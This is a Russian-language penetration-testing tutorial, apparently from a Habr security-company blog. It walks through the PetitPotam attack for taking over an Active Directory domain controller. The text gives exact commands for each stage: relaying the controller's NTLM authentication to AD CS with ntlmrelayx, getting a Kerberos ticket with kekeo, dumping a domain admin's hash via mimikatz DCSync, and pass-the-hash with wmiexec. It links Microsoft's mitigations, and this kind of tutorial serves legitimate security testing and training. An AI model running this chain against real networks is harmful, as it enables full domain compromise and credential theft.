Захват контроллера домена с помощью атаки PetitPotam

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

В этой статье я расскажу про атаку PetitPotam, которая позволяет при определенных условиях захватить контроллер домена всего за несколько действий. Атака основана на том, что можно заставить контроллер домена аутентифицироваться на вашем хосте, получить его хэш и ретранслировать его в службу Active Directory Certificate Services для повышения привилегий. Статья предназначена для пентестеров и тех, кто хочет узнать об актуальных атаках на Active Directory.

О PetitPotam

Данная уязвимость была открыта исследователем безопасности Лионелем Жилль (Gilles Lionel) 18-го июля 2021 г. Атака PetitPotam позволяет контроллеру домена аутентифицироваться на любом удаленном сервере. Это достигается за счет использования метода EfsRpcOpenFileRaw протокола MS-EFSRPC, который заставляет учетную запись компьютера аутентифицироваться в другой системе.

Протокол EFSRPC используется для операций обслуживания и управления зашифрованными данными, которые хранятся удаленно и доступны по сети.

C помощью PetitPotam можно заставить контроллер домена инициировать процесс аутентификации на сервере, который находится под контролем злоумышленника, и поделиться с ним значением NTLM-хэша. С помощью полученных данных злоумышленник может провести атаку NTLM-relay.

Коротко о NTLM-relay

Суть атаки NTLM-relay сводится к тому, чтобы вмешаться в процесс аутентификации по протоколу NTLM и получить доступ к стороннему ресурсу с привилегиями атакуемого пользователя, передав ему NTLM-хэш пользователя или сервиса, который пытается аутентифицироваться. Атака может быть реализована в отношении любого протокола, поддерживающего NTLM-аутентификацию (SMB, HTTP, LDAP и т.д.).

https://en.hackndo.com/ntlm-relay/#authentication-vs-session

Используя атаку PetitPotam, атакующий может повысить свои привилегии до администратора домена. Для успешного проведения атаки необходимо, чтобы:

  1. У атакующего был доступ к внутренней сети

  2. В Active Directory Certificate Services (AD CS) была активирована опция Web Enrollment

Служба AD CS может быть установлена в качестве роли на контроллере домена (Domain Controller), либо на отдельном сервере, который входит в этот домен.

Таким образом злоумышленник ретранслирует NTLM-хэш контроллера домена в службу Web Enrollment AD CS (Active Directory Certificate Services) и запрашивает сертификат от имени контроллера домена. Затем этот сертификат используется для запроса TGT (Ticket Granting Ticket).

Коротко о TGT

После прохождения успешной аутентификации пользователем, центр распределения ключей выдает первичное удостоверение для доступа к сетевым ресурсам — Ticket Granting Ticket. Если данный билет подписать доменной учетной записью Kerberos (krbtgt), то билет будет "золотым" (Golden Ticket), что позволит пользователю аутентифицироваться на любом сервере в этом домене.

Далее мы рассмотрим алгоритм действий для атаки.

Схема атаки

Атака была протестирована на Windows Server 2019. Версия ОС 10.0.17763

  1. Запустим ntlmrelayx, чтобы ретранслировать аутентификационные данные контроллера домена в AD CS

  2. Запустим PetitPotam, чтобы инициировать NTLM-аутентификацию контроллера домена c подконтрольным атакующему сервером (ntlmrelayx)

  3. Получим сертификат PKCS12 в base64 формате

  4. Импортируем сертификат в kekeo (для запроса TGT).

  5. Запустим mimikatz для дампа SAM секретов для выбранного пользователя

  6. Запустим атаку Pass-the-hash

Для демонстрации атаки была развернута следующая инфраструктура:

  • 192.168.0.123 - AD CS (Windows Server 2019)

  • 192.168.0.122 - Контроллер домена (Windows Server 2019)

  • 192.168.0.124 - NTLM-listener (Kali linux)

Шаг 1. Запуск ntlmrelayx

Подготовка
git clone https://github.com/ExAndroidDev/impacket.git
sudo pip3 uninstall impacket
sudo pip uninstall impacket
sudo pip3 install -r requirements.txt
sudo python3 setup.py install
sudo python3 ntlmrelayx.py -debug -smb2support --target http://192.168.0.123/certsrv/certfnsh.asp --adcs --template KerberosAuthentication

Чтобы ntlmrelayx ретранслировал NTLM-хэш контроллера домена в AD CS, используем шаблон KerberosAuthentication, но также можно использовать шаблон DomainControllers.

Если перейти на https://192.168.0.123/certsrv/certfnsh.asp, то увидим форму аутентификации.

Шаг 2. PetiPotam

Подготовка
python3 Petitpotam.py 192.168.0.124 192.168.0.122

Пока ntlmrelayx находится в ожидании соединений, инициируем с помощью PetitPotam NTLM аутентификацию контроллера домена c подконтрольным атакующему сервером для последующей ретрансляцией NTLM-хэша в AD CS.

Шаг 3. Сертификат PKCS12

На машине с запущенным ntlmrelayx получаем сертификат PKCS12 в base64, который зарегистрирован в AD CS от имени контроллера домена.

Этот сертификат можно использовать для получения TGT в службе аутентификации Kerberos.

Шаг 4. Import PKCS12 to kekeo

Подготовка
curl [https://github.com/gentilkiwi/kekeo/releases/download/2.2.0-20210723/kekeo.zip](https://github.com/gentilkiwi/kekeo/releases/download/2.2.0-20210723/kekeo.zip) -o kekeo.zip
tar -xf .\kekeo.zip

Данный сертификат импортируем в kekeo.

.\kekeo.exe
base64 /input:on
tgt::ask /pfx:<base64 сертификат из шага 3> /user:<указать юзера из шага 3> /domain:<название домена> /ptt

Шаг 5. Mimikatz

Подготовка
curl [https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210724/mimikatz_trunk.zip](https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210724/mimikatz_trunk.zip) -o mimikatz.zip
tar -xf mimikatz.zip
.\mimikatz.exe
lsadump::dcsync /domain:<название домена> /user:<укажите любого пользователя>

Теперь у нас есть TGT, который мы можем использовать, чтобы аутентифицироваться на любом хосте в домене. С помощью него мы можем получить NTLM-хэш любого пользователя домена с контроллера домена.

С помощью mimikatz сдампим NTLM-хэш пользователя adm, который является доменным администратором.

mimikatz # lsadump::dsync /domain:DEITERIY.LAB /user:adm

Шаг 6. Pass-the-hash

С помощью Pass-the-hash аутентифицируемся на любом хосте, например на контроллере домена.

wmiexec.exe -hashes :ntlm DEITERIY/adm@192.168.0.122

Заключение

Вот таким образом за несколько действий можно повысить свои привилегии до администратора домена. Стоит отметить, что атаки, основанные на NTLM-relay, существуют давно, но атака PetitPotam выделяется на их фоне, так как не требует учетных данных и не требует взаимодействия пользователя для инициирования аутентификации контроллером домена на сервере злоумышленника.

О мерах предосторожности, рекомендованных компанией Microsoft, можно прочитать по ссылке: https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429

В качестве дополнительных материалов рекомендую ознакомиться со статьями:

  • https://posts.specterops.io/certified-pre-owned-d95910965cd2

  • https://blog.truesec.com/2021/08/05/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-directory/

Источник: https://habr.com/ru/company/deiteriylab/blog/581758/


Интересные статьи

Интересные статьи

CSS функция image-set поддерживается в браузерах на основе Chromium с 2012 года, а в Safari начиная с версии 6. Недавно поддержка появилась в Firefox 88. Давайте углубимс...
Привет, Хабр! Меня зовут Сергей, я работаю IT Head в компании Quadcode. Сегодня хотел бы рассказать о том, как я решил проблему с хранением паролей в открытом виде в коде...
Мы в Lifion строим распределенную платформу и портфель продуктов для клиентов по всему миру. С учетом этого важно, чтобы мы могли выпускать обновления нашей платформы непрерывно прямо в...
Для начала немного новостей. Как вы можете помнить, в 2018 году я опубликовал статью Как нам удалось прочитать рукопись, найденную в 80-х возле третьего крематория в Аушвице-Би...
Всем привет! Меня зовут Дмитрий Новиков, я javascript-разработчик в Альфа-Банке, и сегодня я расскажу вам про наш опыт выведения Action type при помощи Typescript, с каким проблемами мы столкнули...